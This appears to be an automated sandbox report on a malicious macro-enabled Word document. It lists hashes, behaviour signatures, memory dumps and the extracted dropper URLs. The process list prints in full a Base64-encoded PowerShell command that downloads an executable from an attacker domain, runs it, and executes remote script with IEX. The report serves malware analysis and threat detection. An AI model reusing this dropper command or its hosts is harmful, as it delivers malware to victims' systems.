Analysis

  • max time kernel
    136s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2024 00:45

General

  • Target

    1ee0336e030dc9d11b09d43f33cdb9ed_JaffaCakes118.docm

  • Size

    66KB

  • MD5

    1ee0336e030dc9d11b09d43f33cdb9ed

  • SHA1

    cf76616a5b3a58055407d69df9e2ebbba460ed48

  • SHA256

    ff10e852973c6675fa1f623eb27ff70306ba607a25c976d78d9396731205ec0e

  • SHA512

    78bf7942ad153c2e0c02add27d3b5a8af2385831893a20a8f8a20ab584f71ad88bf172cf4e9c76df928f1c31603c2cbf928ff7a5f547996efba1b5c0a43ecfe9

  • SSDEEP

    1536:Az0Cye/Y8HvkktFDyL7PaSHCRM7PaqgZ3j2ksHLfxd:a0Cy6Y8sDXySHFjaTZzG

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://anymonbunrybgakbweew.com/s.php?id=dogc

ps1.dropper

http://cnhoteltex.com/Stat.count

exe.dropper

http://anymonbunrybgakbweew.com/SS/dogc.tzm

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1ee0336e030dc9d11b09d43f33cdb9ed_JaffaCakes118.docm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3636
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoExit -Exec Bypass -EC IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGEAbgB5AG0AbwBuAGIAdQBuAHIAeQBiAGcAYQBrAGIAdwBlAGUAdwAuAGMAbwBtAC8AUwBTAC8AZABvAGcAYwAuAHQAegBtACcALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXABjAGUANgBhAGIAYQBlADAALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwAYwBlADYAYQBiAGEAZQAwAC4AZQB4AGUAJwA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQBuAHkAbQBvAG4AYgB1AG4AcgB5AGIAZwBhAGsAYgB3AGUAZQB3AC4AYwBvAG0ALwBzAC4AcABoAHAAPwBpAGQAPQBkAG8AZwBjACcAKQA7ACAASQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBjAG4AaABvAHQAZQBsAHQAZQB4AC4AYwBvAG0ALwBTAHQAYQB0AC4AYwBvAHUAbgB0ACcAKQApADsA
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3796

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD73A9.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ejtdkqzb.mxl.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3636-14-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-587-0x00007FFC65830000-0x00007FFC65840000-memory.dmp

    Filesize

    64KB

  • memory/3636-4-0x00007FFCA584D000-0x00007FFCA584E000-memory.dmp

    Filesize

    4KB

  • memory/3636-5-0x00007FFC65830000-0x00007FFC65840000-memory.dmp

    Filesize

    64KB

  • memory/3636-6-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-8-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-7-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-10-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-9-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-13-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-12-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-11-0x00007FFC63240000-0x00007FFC63250000-memory.dmp

    Filesize

    64KB

  • memory/3636-0-0x00007FFC65830000-0x00007FFC65840000-memory.dmp

    Filesize

    64KB

  • memory/3636-1-0x00007FFC65830000-0x00007FFC65840000-memory.dmp

    Filesize

    64KB

  • memory/3636-543-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-509-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-536-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-555-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-3-0x00007FFC65830000-0x00007FFC65840000-memory.dmp

    Filesize

    64KB

  • memory/3636-589-0x00007FFCA57B0000-0x00007FFCA59A5000-memory.dmp

    Filesize

    2.0MB

  • memory/3636-2-0x00007FFC65830000-0x00007FFC65840000-memory.dmp

    Filesize

    64KB

  • memory/3636-15-0x00007FFC63240000-0x00007FFC63250000-memory.dmp

    Filesize

    64KB

  • memory/3636-585-0x00007FFC65830000-0x00007FFC65840000-memory.dmp

    Filesize

    64KB

  • memory/3636-586-0x00007FFC65830000-0x00007FFC65840000-memory.dmp

    Filesize

    64KB

  • memory/3636-588-0x00007FFC65830000-0x00007FFC65840000-memory.dmp

    Filesize

    64KB

  • memory/3796-570-0x000001D8B8EB0000-0x000001D8B8EF4000-memory.dmp

    Filesize

    272KB

  • memory/3796-565-0x000001D8B8D30000-0x000001D8B8D52000-memory.dmp

    Filesize

    136KB

  • memory/3796-590-0x000001D8B9360000-0x000001D8B93D6000-memory.dmp

    Filesize

    472KB